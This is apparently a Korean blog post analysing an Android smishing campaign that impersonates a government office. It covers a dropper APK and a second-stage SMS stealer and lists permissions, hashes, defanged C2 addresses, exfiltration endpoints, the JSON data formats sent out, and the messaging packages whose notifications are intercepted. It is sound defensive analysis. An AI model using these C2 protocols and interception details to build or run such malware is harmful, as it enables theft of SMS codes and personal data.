배경
오늘 휴대폰을 보니 이런 문자가 와있었다.

평범한 스팸 문자지만 공격자가 사람들을 어떻게 공격하는지 궁금해서 분석하기로 하였다.
악성코드 분석
일단 문자 메시지를 잘 보면 맨 앞 00은 국제 발신이라는 의미이다. 이는 뉴스 기사에서 확인할 수 있다.
앞 00 이후에 오는 7을 통해 발신인은 러시아 혹은 카자흐스탄에서 보낸 메시지인걸 확인할 수 있다.
그리고 본문엔 청소행정과를 사칭하는 내용과 nhde.hair 라는 도메인이 있다.
사이트에 접속하면 이런 화면이 반겨준다.

아주 친절하게 앱을 다운로드하라 안내하고 있고, 앱 다운로드가 차단되었을 때 대처법도 알려주고 있다.
그럼 이 사이트를 좀 살펴보자.

다운로드 버튼을 보니 down이라는 함수를 호출하고 있다.

인구 10억명이 넘는 그 나라 언어가 주석으로 보인다.
대충 ios 기기가 아니라면 /down에 요청을 보내고, 요청이 정상적으로 처리되었을 때 앱을 다운로드하는 로직 같다.
/down에는 어떤 응답이 올까.

그냥 성공을 중국어로 말해준다.
도메인은 또 어디서 왔는지 확인해 보자.

NameSilo라는 도메인 제공 업체를 통해 도메인을 구입했다는 사실을 알 수 있다.

그리고 이 도메인은 11월 26일에 등록되었고, 클라우드플레어와 연결되어 있다는 점도 알 수 있었다.
어느 정도 사이트에 대해서는 알아낸 것 같으니 앱을 다운로드해 보고 디컴파일해보자.
이 글에서는 jadx를 사용하였다.
패키지 명은 com.wgjsf.ttdbdlat이고, hash는 5d57ee3630b8ed2bdaf08b2318cdd116804efb7f76691a6c78461eec61a0a9f8이다.
android.permission.READ_PHONE_NUMBERS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.MANAGE_EXTERNAL_STORAGE
android.permission.ACCESS_NETWORK_STATE
android.permission.INTERNET
앱 권한은 이 정도다. 역시 심상치 않다.

onCreate는 그럴싸한 화면을 보여주는 것 같다.
그렇다면 onResume은 어떨까.

도파민이 나오기 시작했다.
10억 명 이상이 거주하고 있는 그 나라 언어와 하드코딩된 url이 나를 반겨준다.
onResume 파트를 나눠서 설명해 보겠다.

Intent가 com.ManageGov인걸 찾고 실행하려고 한다.
만약 없다면 다음 스탭으로 넘어간다.

c2에 넘길 데이터가 담긴 url을 만드는 작업이다.
이런 식으로 만들어진다.
http://115.91.26[.]70/re_url?record=1&uuid={생성된 uuid}&phone={전화번호}&phone_type=android
115.91.26[.]70는 어디서 온 ip인지 확인해 보자.

놀랍게도 한국 호스팅(MOACK)을 사용하고 있었다. 해외 호스팅을 사용할 줄 알았는데, 의외의 결과였다.
만약 115.91.26[.]70으로 접속하게 되면 어떻게 될까.

딱 봐도 수상해 보이는 관리자 패널이 나왔다.
이를 더 뒤져보니, Laravel라는 PHP 프레임워크를 사용한다는 걸 알아냈다.
그 버전은 8.83.27, PHP 버전은 8.0.26
이 자세한 서버 정보를 어떻게 알아냈냐면, url을 갖고 장난을 치니 에러가 떴는데 공격자들이 디버깅 모드를 활성화해서 디버그 페이지가 나왔기 때문이다.

소스코드 주석에도 중국어가 있는 거 보니 연관이 있는 건 확실하다.
다시 APK 코드를 보러 가보자.

아까 만든 url로 GET 요청을 보낸다. 그러면 응답이 url로 온다.
http://173.0.54[.]164/join?uuid={보낸 uuid}&phone={전화번호}
173.0.54[.]164은 어디 출신인지 봐보자.

얘는 미국 출신이고, Wowrack 호스팅을 사용한다는 것을 알 수 있었다.
공격자는 참 다양한 서버를 갖고 있는 것 같다.
이 아이피는 연결이 안 되어서 죽은 서버로 추측된다.
여기까지 찾은 게 전부인가 생각하던 도중 마지막 줄에 이상한 함수가 눈에 들어왔다.

mKQOc 함수는 jadx로 디컴파일이 되지 않았지만, 디버그 모드로 하니 대충 모양은 보였다.

무언가 있다. r1 r4 이런 애들은 +1 전화번호로 보인다.

더 자세히 보니 아까와 비슷한 로직과 또 다른 하드코딩된 ip가 눈에 보인다.
대충 L7d에서 url을 만들고 이를 L9c로 거친다. 이후 La9로 가면 아래와 같은 코드가 나온다.

La9에선 앱을 다운로드할 링크를 만들게 된다.
http://27.124.8[.]135/SmartApp.apk
여기서 알 수 있는 점은 우리가 웹사이트를 통해 다운로드한 이 파일은 드로퍼에 불과하다는 점이다.
악성코드는 SmartApp이 설치되면 본격적으로 행동을 할 것이다.
그럼 27.124.8[.]135는 어디서 왔는지 확인해 보자.

이 또한 한국 호스팅(CTG Server)을 사용하고 있었다. 공격하려는 국가가 한국이어서 그런가.
여긴 사이트 들어가도 반응이 없었다. (SmartApp.apk 다운로드만 작동함)
그럼 본격적으로 악성행위를 하는 SmartApp.apk를 분석해 보자.
패키지 명은 com.wgjsf.ttdbdlat이고, hash는 5d57ee3630b8ed2bdaf08b2318cdd116804efb7f76691a6c78461eec61a0a9f8이다.
android.permission.ACCESS_NETWORK_STATE
android.permission.SEND_SMS
android.permission.BIND_NOTIFICATION_LISTENER_SERVICE
android.permission.READ_PHONE_STATE
android.permission.READ_PHONE_NUMBERS
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.WAKE_LOCK
android.permission.FOREGROUND_SERVICE
앱 권한은 아까보다 더 무서워졌다.
RECEIVE_BOOT_COMPLETED와 WAKE_LOCK, SEND_SMS 등 무서운 애들이 많다.
앱을 죽지 않게 두면서 문자까지 관여하나 보다.
jadx로 디컴파일 해보자.

이 녀석이 아까 보았던 com.ManageGov였다.
드로퍼가 실행되면 이 앱도 자동으로 실행되게 된다.

얘도 아까 드로퍼처럼 onCreate에선 화면을 그럴싸하게 꾸며준다.
FakeInputForm(tu)를 봐보자.

화면의 form을 담당하나 보다. onClick를 자세히 봐보자.

피해자에게 이름과 생년월일을 입력하도록 유도하고, 이를 공격자 서버 /updateUserNotes 로 보내게 된다.
그럼 공격자 서버에 어떤 식으로 보내는지 찾아보자.
gk0.ZWKgS()에 그 내용이 담겨있다.

간단하게 요약하자면 아래와 같이 반환을 한다.
{
"uuid": "생성된 uuid",
"number": "전화번호",
"operator": "통신사",
"phone_type": "휴대폰 기기 종류",
"android_v": "안드로이드 버전",
"empower": {
"phone": 1, // android.permission.READ_PHONE_STATE and android.permission.READ_PHONE_NUMBERS
"sms": 1, // android.permission.SEND_SMS
"contacts": 0, // 0 고정
"image": 0, // 0 고정
"network": 0, // 0 고정
"accessibility": 0, // 0 고정
"msg": 1, // ACTION_NOTIFICATION_LISTENER_SETTINGS
"battery": 1 // android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
}
}
uuid는 사용자를 식별하기 위함이고, phone과 sms, msg, battery는 권한이 허용되어 있다면 1로 표시된다.
입력 폼에서 확인 버튼을 누르면 이 데이터와 유저가 입력한 데이터가 함께 공격자 서버로 넘어간다.
이제 공격자 서버의 url을 만들어주는 함수를 살펴보자.

피해자가 공격자에게 보낼 주소의 종류는 총 4개다.
http://115.91.26[.]76/updateUserNotes
http://115.91.26[.]76/updateUserLong
http://115.91.26[.]76/updateUserMsg
http://115.91.26[.]76/send_msg_error
얘는 ip가 어딘가 익숙하지 않은가. 아까 uuid와 전화번호를 넘길 때 만들던 ip와 뒷자리만 다르다.
같은 호스팅을 쓴다는 것이고, 아까 들어갔던 사이트와 똑같은 페이지가 떴다.
아무튼 입력 폼에 이름과 생년월일을 입력하고 확인을 누르면 /updateUserNotes로 보내진다.
그럼 그 response는 어떻게 처리될까?

response의 re_url를 이용해 사이트에 추가로 접속한다.
이러면 response body 형태가 궁금해질 거다.
{
"is_ok": 1,
"value": "생성된 uuid",
"key": "uuid",
"re_url": "https:\/\/www.gov.kr\/portal\/main\/nologin"
}
이런 식으로 응답이 온다. 즉.

정부 24 페이지로 이동시키는 치밀함도 갖고 있다.
사기꾼치곤 진짜 사이트로 보내는 정성을 들였다.
onCreate를 봤으니 onResume을 볼 차례다.

처음엔 배터리 최적화 비활성화를 요청하고 있다.

이후에는 알림 접근을 허용하라고 한다.
다 하면 어떻게 될까?

NotificationIntercept (RogewNh) 클래스가 실행되고, 사용자의 정보를 서버로 보내게 된다.
사용자의 정보를 보내고 처리되는 response가 좀 충격적이다. (/updateUserLong)
{
"is_ok": 1,
"is_muted": 0,
"is_shake": 0,
"isDeleteMsg": 0,
"deleteMsgIdList": [],
"is_connect_agora": {
"isOpen": 0,
"appId": "",
"cret": "",
"token": "",
"uid": 0,
"roomId": "",
"camera_state": 2,
"mike_state": 1
},
"ringtone_volume": 0,
"is_delete_self": 0,
"is_new_msg": 0,
"delete_app_list": [],
"phonelist": []
}
이런 식으로 오게 되는데, 우리가 주목할 부분은 is_connect_agora와 is_new_msg다.
agora라고 화상 채팅을 위한 서비스가 있는데 이를 이용해 사용자의 카메라와 음성을 듣고 볼 수 있었던 것으로 추측된다.
추측된다라고 표현한 이유는 코드 상에서는 is_connect_agora를 처리하는 부분이 없었기 때문이다.
그리고 is_new_msg는 아래 코드를 보면 왜 그런지 알게 된다.

is_new_msg가 1일 때, description과 phonelist를 불러온다.
위에 response에는 description이 없었지만, 이는 메시지 내용이고 phonelist는 전화번호 목록이다.
그렇다. RvPpP.mTR 함수를 호출해 phonelist에 있는 전화번호로 메시지를 자동 전송하게 된다.
2차 피해를 만들어내는 악질 수법인 것이다.
마지막으로 NotificationIntercept (RogewNh)를 봐보자.

뭐가 많이 있지만 쉽게 요약해 보면.
휴대전화에 알림이 왔을 때, 이 알람이 아래와 같은 정보를 담고 있는지 확인한다.
채널 아이디에 1개 이상 포함되어야 하는 단어
- sms
패키지 이름에 1개 이상 포함되어야 하는 단어
- mms
- sms
패키지 이름이랑 일치해야 하는 단어
- com.android.mms (안드로이드)
- com.google.android.apps.messaging (구글)
- com.samsung.android.messaging (삼성)
- com.android.messaging (안드로이드)
- com.miui.message (샤오미)
- com.oneplus.mms (oneplus)
- com.htc.sense.mms (htc)
- com.sec.android.app.samsungapps (삼성 갤럭시 스토어)
수상한 건 삼성 갤럭시 스토어 앱도 포함되어 있는 것이다.
이건 sms 용도가 아닌데... 의심된다.
아무튼 위의 조건에 부합하게 된다면 아래와 같은 코드를 실행한다.

데이터를 담고 정리하고 /updateUserMsg 로 보내게 된다.
{
"uuid": "생성된 uuid",
"data": {
"description": "알림 내용",
"type": 1,
"phone": "알림 제목",
"send_time": "현재 시각 (ms)",
"id": -1,
"is_color": 0
} // 이 데이터는 toString으로 문자열 객체로 보내짐.
}
응답이 오면 /updateUserLong 으로 다시 데이터를 보낸다.
c2 역할을 하기 위함으로 보인다.
정리
해당 공격은 악성 앱을 설치해 주는 드로퍼 악성 앱으로 나뉘어 있다.
이 악성 앱은 SMS 정보를 탈취하고 메시지를 전송하는 방식이다.
공격자 서버
- 115.91.26[.]70
- 115.91.26[.]76
- 27.124.8[.]135 (APK 다운로드)
- 173.0.54[.]164 (닫힌 서버)
envkrss.apk: https://www.virustotal.com/gui/file/d6867de8ef1a09406346d3b80ec7ebf74c9926b0c9a0ca67a4de6cd2bae0024f
SmartApp.apk: https://www.virustotal.com/gui/file/5d57ee3630b8ed2bdaf08b2318cdd116804efb7f76691a6c78461eec61a0a9f8
3줄 요약
전형적인 스미싱 기법으로, 정부 기관을 사칭한 문자를 전송해 APK 설치를 유도한다. (SMS + 피싱)
사이트에 접속하여 설치한 APK는 다른 악성 앱을 설치한다. (드로퍼)
이 악성 앱은 SMS 관련 정보 수집 및 악의적인 SMS 발송 기능을 한다. (SMS Stealer)
정리: https://github.com/simnple/chinese_smishing_apk
2025-11-28 추가
공격자가 사용한 도메인의 호스트가 다운된 상태이고, 드로퍼에서 연결하던 공격자 서버(115.91.26[.]70) 또한 닫힌 상태이다.